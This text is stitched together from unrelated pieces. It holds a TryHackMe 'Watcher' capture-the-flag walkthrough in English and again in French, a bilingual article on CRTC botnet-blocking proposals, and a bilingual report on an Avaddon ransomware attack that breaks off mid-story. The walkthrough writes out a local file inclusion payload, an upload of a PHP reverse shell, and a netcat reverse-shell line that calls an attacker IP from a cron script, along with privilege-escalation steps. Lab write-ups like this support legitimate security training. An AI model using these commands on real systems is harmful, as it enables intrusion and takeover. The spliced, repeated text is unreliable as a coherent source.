While GoBuster was running, I started looking around the site. When I clicked on one of the post, it pointed to this url: http://target/post.php?post=striped.php . This looked like it could be used for a Local File Inclusion (LFI) attack.

So I used it to try reading the secret file that I could not access earlier. I loaded http://target/post.php?post=secret_file_do_not_read.txt and it worked. The file contains the following message:

Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD

We now have the credentials to the FTP server. It also hints that we will be able to write files in the FTP server, and where they will be saved.

First, lets make sure that the code is executed when included. I tried to include index.php to see if it would output the content, or execute it.

Load http://target/post.php?post=index.php, you will see the the index page loaded inside the post page.

Then, I tried to get the post.php source code to see if there where any filtering, or if I could use it to load any file.

Loading http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php gave me the PHP source code encoded in base64. I decoded it, and saw the there is no filtering. You can load any file from the server.

<div class="col-8">
  <?php include $_GET["post"]; ?>
</div>

Getting a Shell

Now I knew I could use the FTP server to upload a file, then execute it on the server through the LFI vulnerability.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
-rw-r--r--    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
226 Transfer complete.
21 bytes received in 0.00 secs (84.0484 kB/s)

We found the second flag in the FTP server. We also see that the files folder is writable, so we can push our reverse shell there.

I use the PHP reverse shell that is available in Kali at /usr/share/webshells/php/php-reverse-shell.php.

ftp> cd files 
250 Directory successfully changed.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (5.8002 MB/s)

According to the message found earlier, that file should now be at /home/ftpuser/ftp/filesphp-reverse-shell.php.

I started a Netcat listener in my Kali VM (nc -lvnp 4444). Then loaded http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php in a browser. I got a connection on my listener.

I stabilized my shell with the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Hit Ctrl-z to go background the shell
stty raw -echo;fg

From there, I found a third flag in the web site files.

www-data@watcher:/$ whoami
www-data
www-data@watcher:/$ ls /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/$ ls /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG{SOME FLAG}

Escalate to Toby

Now that we have a shell, we need to try to escalate our privileges.

First thing to do is check is the current user can run sudo. www-data should not, but it’s a good idea to check anyway.

sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

www-data is allowed to run any command as toby.

sudo -utoby bash -p
toby@watcher:/$ whoami
toby
toby@watcher:/$ ls -l /home/toby/
total 12
-rw------- 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12 15:25 note.txt

We have our 4th flag.

Escalate to Mat

We have to find a way to elevate our privileges again. sudo -l require a password, so we need to find something else.

There is a note.txt file in the home folder, lets look at it.

cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

It looks like there is a cron job running, probably as Mat that we might be able to use. There is a jobs folder, and it contains a sh file.

ls -l jobs/
total 4
-rwxr-xr-x 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~$ cat jobs/cow.sh 
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

This might be the cron from the message. And we can write to it. So I modified to add a reverse shell connection, started another Netcat listener and waited for a connection.

Add this to jobs/cow.sh

mkfifo /tmp/kirxhbg; nc 10.13.3.36 4445 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg

The next time the cron runs, you will get a new connection.

nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
whoami
mat
ls /home/mat
cow.jpg
flag_5.txt
note.txt
scripts

That flag #5.

Escalate to Will

That shell was pretty unstable so I copied my ssh public key to the server and reconnected through ssh.

mkdir .ssh
echo "My Public Key" > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys

Once connected, there is another note.txt file in the home folder.

cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

Sure enough, we can run a python script as will without a password.

sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

We are not allowed to modify the script, but lets see what it does.

mat@watcher:~$ ls -l scripts/will_script.py
-rw-r--r-- 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~$ cat scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

The script reads a command from the command line, then sends it to get_command and execute it if it’s one of the three allowed commands.

The interesting part is get_command, it’s imported from cmd.py which is in the same folder as the script.

mat@watcher:~$ ls -la scripts/cmd.py 
-rw-r--r-- 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~$ cat scripts/cmd.py
def get_command(num):
        if(num == "1"):
                return "ls -lah"
        if(num == "2"):
                return "id"
        if(num == "3"):
                return "cat /etc/passwd"

We can write to this file. So we can modify it to start a new bash shell as Will. We need to add an import of os. Then add the following at the beginning of the get_command function.

os.system('/bin/bash -p')

After that, we can run the python script as will and get a shell.

mat@watcher:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~$ whoami
will
will@watcher:~$ ls -l /home/will/
total 4
-rw------- 1 will will 41 Dec  3 01:58 flag_6.txt

We have flag 6.

Escalate to root

For this step, there are no note.txt file to give us a hint. Running sudo -l requires a password, so no luck there either.

I checked for the groups of the user, and they are part of the adm group. That looked interesting.

I searched for files that belongs to that group. And found a backups folder with one file in it: key.b64.

I decoded the file, and it contained a ssh private key.

cat /opt/backups/key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----

I took that key, copied it in a file on my machine and change its permissions to 600. Then used it to connect back to the server as root.

ssh root@target -i root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

root@watcher:~# ls -l 
total 4
-rw-r--r-- 1 root root 31 Dec  3 02:26 flag_7.txt

That was our last flag.

This is a fun box to root. With many steps. I’m not sure it should be classified as medium difficulty. All the steps where pretty easy to do. Especially with the note.txt files giving huge hints.

Text also published on : https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/

• Salle : Watcher
• Difficulté : Moyenne
• URL : https://tryhackme.com/room/watcher

Scan

La première chose à faire lorsqu’on attaque une box est de la scanner. Je le fais habituellement en trois étapes :

1. Un scan agressif sur les 10 000 premiers ports (nmap -A -oN nmap.txt target)
2. Un scan de vulnérabilités sur les 10 000 premiers ports (nmap -script vuln -oN nmapVuln.txt target)
3. Un scan SYN sur tous les ports (sudo nmap -sS -p- -oN nmapFull.txt target)

Voici les résultats du premier scan :

# Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target
Nmap scan report for target (10.10.208.34)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds

Les scans de vulnérabilités et le scan complet n’ont rien apporté de plus d’intéressant.

Le premier port ouvert est pour le FTP. La connexion anonyme ne semble pas être autorisée, mais essayons quand même.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Pas de chance ici, alors regardons le site web sur le port 80.

Site web

En naviguant vers http://target/, on obtient un site sur les napperons en liège. Un coup d’œil rapide à la requête dans Burp ne montre rien d’intéressant.

Cependant, il y a un fichier robots.txt qui contient deux entrées.

Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

Naviguer vers http://target/flag_1.txt nous donne notre premier flag. http://target/secret_file_do_not_read.txt est interdit.

Maintenant, je commence à scanner le site à la recherche de pages cachées. J’utilise GoBuster pour scanner les sites web. J’utilise habituellement deux listes différentes pour le faire. Je devrais probablement construire une seule liste avec uniquement les valeurs uniques issues de ces deux-là.

gobuster dir -e -u http://target/ -t30 -w /usr/share/dirb/wordlists/common.txt  | tee gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://target/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/03/14 13:09:21 Starting gobuster in directory enumeration mode
===============================================================
http://target/.hta                 (Status: 403) [Size: 271]
http://target/.htaccess            (Status: 403) [Size: 271]
http://target/.htpasswd            (Status: 403) [Size: 271]
http://target/css                  (Status: 301) [Size: 298] [--> http://target/css/]
http://target/images               (Status: 301) [Size: 301] [--> http://target/images/]
http://target/index.php            (Status: 200) [Size: 4826]
http://target/robots.txt           (Status: 200) [Size: 69]
http://target/server-status        (Status: 403) [Size: 271]
===============================================================
2021/03/14 13:10:00 Finished
===============================================================

Rien de très intéressant ici.

Pendant que GoBuster s’exécutait, j’ai commencé à explorer le site. Lorsque j’ai cliqué sur l’un des articles, il pointait vers cette url : http://target/post.php?post=striped.php . Cela ressemblait à quelque chose qui pourrait être utilisé pour une attaque de type Local File Inclusion (LFI).

Je l’ai donc utilisée pour tenter de lire le fichier secret auquel je ne pouvais pas accéder plus tôt. J’ai chargé http://target/post.php?post=secret_file_do_not_read.txt et ça a fonctionné. Le fichier contient le message suivant :

Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD

Nous avons maintenant les identifiants du serveur FTP. Cela laisse aussi entendre que nous pourrons écrire des fichiers sur le serveur FTP, et où ils seront sauvegardés.

D’abord, assurons-nous que le code est exécuté lorsqu’il est inclus. J’ai tenté d’inclure index.php pour voir s’il allait afficher le contenu, ou l’exécuter.

Chargez http://target/post.php?post=index.php, vous verrez la page d’index chargée à l’intérieur de la page de l’article.

Ensuite, j’ai tenté d’obtenir le code source de post.php pour voir s’il y avait du filtrage, ou si je pouvais l’utiliser pour charger n’importe quel fichier.

Charger http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php m’a donné le code source PHP encodé en base64. Je l’ai décodé, et j’ai vu qu’il n’y a aucun filtrage. On peut charger n’importe quel fichier du serveur.

<div class="col-8">
  <?php include $_GET["post"]; ?>
</div>

Obtenir un shell

Je savais maintenant que je pouvais utiliser le serveur FTP pour téléverser un fichier, puis l’exécuter sur le serveur grâce à la vulnérabilité LFI.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
-rw-r--r--    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
226 Transfer complete.
21 bytes received in 0.00 secs (84.0484 kB/s)

Nous avons trouvé le deuxième flag sur le serveur FTP. On voit aussi que le dossier files est accessible en écriture, nous pouvons donc y pousser notre reverse shell.

J’utilise le reverse shell PHP qui est disponible dans Kali à /usr/share/webshells/php/php-reverse-shell.php.

ftp> cd files 
250 Directory successfully changed.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (5.8002 MB/s)

Selon le message trouvé plus tôt, ce fichier devrait maintenant se trouver à /home/ftpuser/ftp/filesphp-reverse-shell.php.

J’ai démarré un listener Netcat dans ma VM Kali (nc -lvnp 4444). Puis j’ai chargé http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php dans un navigateur. J’ai obtenu une connexion sur mon listener.

J’ai stabilisé mon shell avec les commandes suivantes :

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Hit Ctrl-z to go background the shell
stty raw -echo;fg

À partir de là, j’ai trouvé un troisième flag dans les fichiers du site web.

www-data@watcher:/$ whoami
www-data
www-data@watcher:/$ ls /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/$ ls /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG{SOME FLAG}

Escalade vers Toby

Maintenant que nous avons un shell, nous devons tenter d’élever nos privilèges.

La première chose à faire est de vérifier si l’utilisateur courant peut exécuter sudo. www-data ne devrait pas pouvoir, mais c’est une bonne idée de vérifier quand même.

sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

www-data est autorisé à exécuter n’importe quelle commande en tant que toby.

sudo -utoby bash -p
toby@watcher:/$ whoami
toby
toby@watcher:/$ ls -l /home/toby/
total 12
-rw------- 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12 15:25 note.txt

Nous avons notre 4e flag.

Escalade vers Mat

Nous devons trouver un moyen d’élever à nouveau nos privilèges. sudo -l requiert un mot de passe, nous devons donc trouver autre chose.

Il y a un fichier note.txt dans le dossier home, regardons-le.

cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

On dirait qu’il y a un cron job qui s’exécute, probablement en tant que Mat, que nous pourrions être en mesure d’utiliser. Il y a un dossier jobs, et il contient un fichier sh.

ls -l jobs/
total 4
-rwxr-xr-x 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~$ cat jobs/cow.sh 
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

Il s’agit peut-être du cron du message. Et nous pouvons y écrire. J’ai donc modifié le fichier pour y ajouter une connexion reverse shell, démarré un autre listener Netcat et attendu une connexion.

Ajoutez ceci à jobs/cow.sh

mkfifo /tmp/kirxhbg; nc 10.13.3.36 4445 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg

La prochaine fois que le cron s’exécutera, vous obtiendrez une nouvelle connexion.

nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
whoami
mat
ls /home/mat
cow.jpg
flag_5.txt
note.txt
scripts

Voilà le flag #5.

Escalade vers Will

Ce shell était plutôt instable, j’ai donc copié ma clé publique ssh sur le serveur et je me suis reconnecté par ssh.

mkdir .ssh
echo "My Public Key" > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys

Une fois connecté, il y a un autre fichier note.txt dans le dossier home.

cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

Effectivement, nous pouvons exécuter un script python en tant que will sans mot de passe.

sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

Nous ne sommes pas autorisés à modifier le script, mais voyons ce qu’il fait.

mat@watcher:~$ ls -l scripts/will_script.py
-rw-r--r-- 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~$ cat scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

Le script lit une commande depuis la ligne de commande, puis l’envoie à get_command et l’exécute si elle fait partie des trois commandes autorisées.

La partie intéressante est get_command, qui est importée de cmd.py, lequel se trouve dans le même dossier que le script.

mat@watcher:~$ ls -la scripts/cmd.py 
-rw-r--r-- 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~$ cat scripts/cmd.py
def get_command(num):
        if(num == "1"):
                return "ls -lah"
        if(num == "2"):
                return "id"
        if(num == "3"):
                return "cat /etc/passwd"

Nous pouvons écrire dans ce fichier. Nous pouvons donc le modifier pour démarrer un nouveau shell bash en tant que Will. Nous devons ajouter un import de os. Puis ajouter ce qui suit au début de la fonction get_command.

os.system('/bin/bash -p')

Après cela, nous pouvons exécuter le script python en tant que will et obtenir un shell.

mat@watcher:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~$ whoami
will
will@watcher:~$ ls -l /home/will/
total 4
-rw------- 1 will will 41 Dec  3 01:58 flag_6.txt

Nous avons le flag 6.

Escalade vers root

Pour cette étape, il n’y a pas de fichier note.txt pour nous donner un indice. Exécuter sudo -l requiert un mot de passe, donc pas de chance de ce côté non plus.

J’ai vérifié les groupes de l’utilisateur, et il fait partie du groupe adm. Cela semblait intéressant.

J’ai cherché des fichiers appartenant à ce groupe. Et j’ai trouvé un dossier backups contenant un fichier : key.b64.

J’ai décodé le fichier, et il contenait une clé privée ssh.

cat /opt/backups/key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----

J’ai pris cette clé, l’ai copiée dans un fichier sur ma machine et modifié ses permissions à 600. Puis je l’ai utilisée pour me reconnecter au serveur en tant que root.

ssh root@target -i root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

root@watcher:~# ls -l 
total 4
-rw-r--r-- 1 root root 31 Dec  3 02:26 flag_7.txt

C’était notre dernier flag.

C’est une box amusante à rooter. Avec beaucoup d’étapes. Je ne suis pas sûr qu’elle devrait être classée comme difficulté moyenne. Toutes les étapes étaient plutôt faciles à réaliser. Surtout avec les fichiers note.txt qui donnent d’énormes indices.

Texte aussi publié sur : https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/

Is your smart fridge a traitor? Could it be that it no longer just texts you when you run out of milk, but has been recruited into a zombie network (botnet)? The CRTC (Canadian Radio-television and Telecommunications Commission) plans to block botnet traffic by applying measures that “strike a balance between effectiveness and ease of implementation” without imposing additional costs on subscribers. An overview of the methods used by operators shows this will be anything but easy.

The federal body responsible for regulating telecommunications proposes giving Internet service providers (ISPs) the mandate to filter botnet traffic. It is in this context that, until March 15, it is holding a call for comments. This blocking is meant to prevent communication between the infected devices that make up the botnet and their command and control server (C2 server). This filtering could take several forms. The CRTC’s call mentions “domain-based blocking, Internet Protocol (IP)-based blocking, and protocol-based blocking.”

The domain name is the name of the website we type into a browser’s address bar, such as “hackfest.ca,” for example. This domain name is then translated into an IP address by domain name resolvers (DNS).

“Domain-based blocking” involves creating and continuously updating a list of domain names to block. “Internet Protocol (IP)-based blocking” amounts to creating a similar list, but for IP addresses. To prevent abuse, the CRTC suggests that “an independent party specializing in cybersecurity” be responsible for the framework. That party would be able to approve additions to these lists.

Changing addresses to avoid detection

The obfuscation techniques used by botnet operators make applying these techniques extremely difficult. Indeed, as described in a review of the scientific literature published in 2017 (Botnet detection technology based on DNS, Xingguo Li et al., 2017), botnets use a method called “domain flux” to thwart detection attempts. This method allows botnets to constantly change the names of their C2 servers. Algorithms are used to generate multiple domain names pseudo-randomly. According to the authors of this article, keeping the list of these domains up to date would require an enormous amount of resources.

We run into the same problem when trying to block IP addresses. The “fast flux” technique is used to assign multiple IP addresses to the same domain name. In a variant called “double flux,” the zombies do not communicate directly with the C2 server, but with an intermediate layer of devices acting as relays. This configuration provides more resilience by isolating the core of the botnet.

The risk of false positives

Other factors increase what are known as “false positives” (the risk of blocking a domain name or IP address that is not malicious).

There are legitimate reasons to use botnet networks. These are not made up of devices infected without their owners’ knowledge, but they use a similar architecture. They are used for crawling the web (“web scraping”), by penetration testing teams (“red team”) and for other automation processes.

An article by the firm Fireeye sums up these difficulties well.

• Botnet developers use legitimate websites to host their code. It may be that a single document on such a site is used by the botnet for criminal purposes. Blocking the domain will not only block the zombies, but also legitimate access to the infected website.
• Operators use platforms such as Twitter, Amazon Cloud Services and other public hosting services. Blocking these services entirely is inconceivable.
• IP addresses, once abandoned by botnet operators, are used by legitimate sources that end up on blocklists.
• The Fireeye article also mentions the use of P2P (peer-to-peer) protocols. These botnets do not use C2 servers, rendering mechanisms for blocking them obsolete.

Faced with the botnet threat, the CRTC has expressed its desire to find a solution that is easy, effective and does not impose additional costs on Internet subscribers. An overview of the technologies used by botnet operators seems to indicate that a solution to this problem will be anything but easy.

photo credit: Melissa Mathies - CC license

Votre réfrigérateur intelligent est-il un traître? Est-il possible qu’il ne se contente plus de vous envoyer un texto lorsque vous n’avez plus de lait, mais se soit fait recruter dans un réseau de zombies (botnet)? Le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) a le projet de bloquer le trafic des botnets en appliquant les mesures qui « concilient efficacité et facilité de mise en œuvre » sans entraîner de coûts supplémentaires pour les abonnés. Un survol des méthodes utilisées par les opérateurs montre que cela sera tout sauf facile.

L’organisme fédéral responsable de la régulation des télécommunications propose de donner le mandat de filtrer le trafic des botnets aux fournisseurs d’accès à Internet (FAI). C’est dans ce contexte qu’il tient jusqu’au 15 mars un appel aux observations. Ce blocage doit permettre d’empêcher la communication entre les appareils infectés qui constituent le réseau de zombies et leur serveur de contrôle et de commande (serveur C2). Ce filtrage pourrait prendre plusieurs formes. L’appel du CRTC mentionne « le blocage basé sur le domaine, le blocage basé sur le protocole Internet (IP) et le blocage basé sur le protocole ».

Le nom de domaine est le nom du site web que nous écrivons dans la barre d’adresse d’un fureteur, comme « hackfest.ca », par exemple. Ce nom de domaine est ensuite traduit en adresse IP par des résolveurs de domaine (DNS).

Le « blocage basé sur le domaine » implique l’instauration et la mise à jour en continu d’une liste de noms de domaines à bloquer. Le « blocage basé sur le protocole Internet (IP) » équivaut à créer une liste semblable, mais pour des adresses IP. Pour éviter les abus, le CRTC suggère qu’« une partie indépendante spécialisée en cybersécurité » soit responsable du cadre. Celle-ci pourra approuver les ajouts à ces listes.

Changer d’adresse pour ne pas être découvert

Les techniques d’obfuscation utilisées par les opérateurs de botnets rendent l’application de ces techniques extrêmement difficile. En effet, comme décrit dans une revue de la littérature scientifique publiée en 2017 (Botnet detection technology based on DNS, Xingguo Li et al., 2017), les botnets utilisent une méthode appelée « domain flux » pour déjouer les tentatives de détection. Cette méthode permet aux botnets de modifier constamment le nom de leurs serveurs C2. Des algorithmes sont utilisés pour générer de multiples noms de domaines de façon pseudo-aléatoire. Selon les auteurs de cet article, garder à jour la liste de ces domaines nécessiterait une énorme quantité de ressources.

On se retrouve devant le même problème en tentant de bloquer les adresses IP. La technique du « fast flux » est utilisée pour assigner de multiples adresses IP au même nom de domaine. Dans une variante appelée « double flux », les zombies ne communiquent pas directement avec le serveur C2, mais avec une couche intermédiaire d’appareils qui servent de relais. Cette configuration assure plus de résilience en isolant le cœur du botnet.

Le risque de faux positifs

Il y a d’autres facteurs qui augmentent ce que l’on appelle les « faux positifs » (le risque de bloquer un nom de domaine ou une adresse IP qui n’est pas malicieuse).

Il existe des raisons légitimes d’utiliser des réseaux de botnets. Ceux-ci ne sont pas composés d’appareils infectés à leur insu, mais utilisent une architecture similaire. Ils servent à parcourir le web (“web scraping”), aux équipes de tests de pénétration (“red team”) et autres processus d’automatisation.

Un article de la firme Fireeye résume bien ces difficultés.

• Les développeurs de botnets utilisent des sites web légitimes pour héberger leur code. Il se peut qu’un seul document sur ce site soit utilisé par le botnet à des fins criminelles. Bloquer le domaine ne bloquera pas seulement les zombies, mais l’accès légitime au site web infecté.
• Les opérateurs se servent de plateformes telles que Twitter, Amazon Cloud Services et d’autres services d’hébergement publics. Il est inconcevable de bloquer entièrement ces services.
• Les adresses IP une fois abandonnées par les opérateurs de botnets sont utilisées par des sources légitimes qui se retrouvent sur les listes de blocage.
• L’article de Fireeye mentionne également l’utilisation de protocole P2P (peer-to-peer). Ces botnets n’utilisent pas de serveurs C2, rendant caducs les mécanismes de blocage de ceux-ci.

Face à la menace des botnets, le CRTC exprime son désir de trouver une solution facile, efficace et qui n’entraîne pas de coûts supplémentaires pour les abonnés aux services Internet. Le survol des technologies utilisées par les opérateurs de botnet semble indiquer qu’une solution à ce problème sera tout sauf facile.

crédit photo: Melissa Mathies - licence CC

Brossard-based company Consortech was the target of a cyberattack in early March. Despite the deployment of ransomware, they quickly recovered their data. However, they had to face the threat of seeing it released publicly. The subsequent disappearance of information about Consortech from the hackers’ site suggests that they got what they wanted.

Founded in 1989, Consortech specializes in getting value out of geospatial data. The company implements solutions for processing geographic data and automating the related processes. Its clients include several municipalities.

Avaddon, the ransomware group responsible for this attack, uses the “double extortion” method to increase pressure on its victims. In addition to encrypting the data to make it inaccessible, the hackers threaten to publish it if a ransom is not paid. A sample was posted on the Avaddon group’s site. It included contacts’ names, email addresses and phone numbers.

Contacted on March 8, Mr. Guillaume Genest, partner and general manager at Consortech, confirms that ransomware paralyzed their systems. The shutdown was short-lived, because the company had “healthy backups.” They were able to get back to work quickly. Mr. Genest confirms that the criminals demanded a ransom, without specifying the amount, and that he did not pay it. According to him, it is not out of the question that the insurer will decide to pay after completing a risk analysis.

Mr. Genest cannot say when the intrusion took place. The method used by the criminals to access their systems is not yet known. “We sent a notice to all of our clients to inform them of the situation and the data leak.” The situation is in the hands of a cybersecurity firm, and no comment can be made on the extent of the leak until the results of the ongoing investigation are in.

The day after our conversation, the company’s name and the page that hosted the data samples were no longer on the “Avaddon info” site. This disappearance suggests that the company, or its insurer, decided to pay the ransom. We tried to contact Mr. Genest by email to confirm the payment, but had not yet received a reply at the time this article was published.

La compagnie Consortech, basée à Brossard, a été la cible d’une cyber attaque au début du mois de mars. Malgré le déploiement d’un rançongiciel, ils ont rapidement récupéré leurs données. Ils ont toutefois dû faire face à la menace de retrouver celles-ci diffusées sur la place publique. La disparition subséquente des informations relatives à Consortech du site des pirates laisse croire que ceux-ci ont obtenu ce qu’ils désiraient.

Consortech, fondée en 1989, se spécialise dans la valorisation des données géospatiales. L’entreprise met en œuvre des solutions de traitement des données géographique et l’automatisation des processus reliés à celles-ci. Elle compte plusieurs municipalités parmi sa clientèle.

Avaddon, le groupe de rançonneurs responsable de cette attaque, utilise la méthode de la « double extorsion » afin d’augmenter la pression sur ses victimes. En plus de chiffrer les données pour les rendre inaccessibles, les pirates menacent de publier celles-ci si une rançon n’est pas payée. Un échantillon était diffusé sur le site du groupe Avaddon. Il comprenait des noms, adresses courriels et numéros de téléphone de contacts.

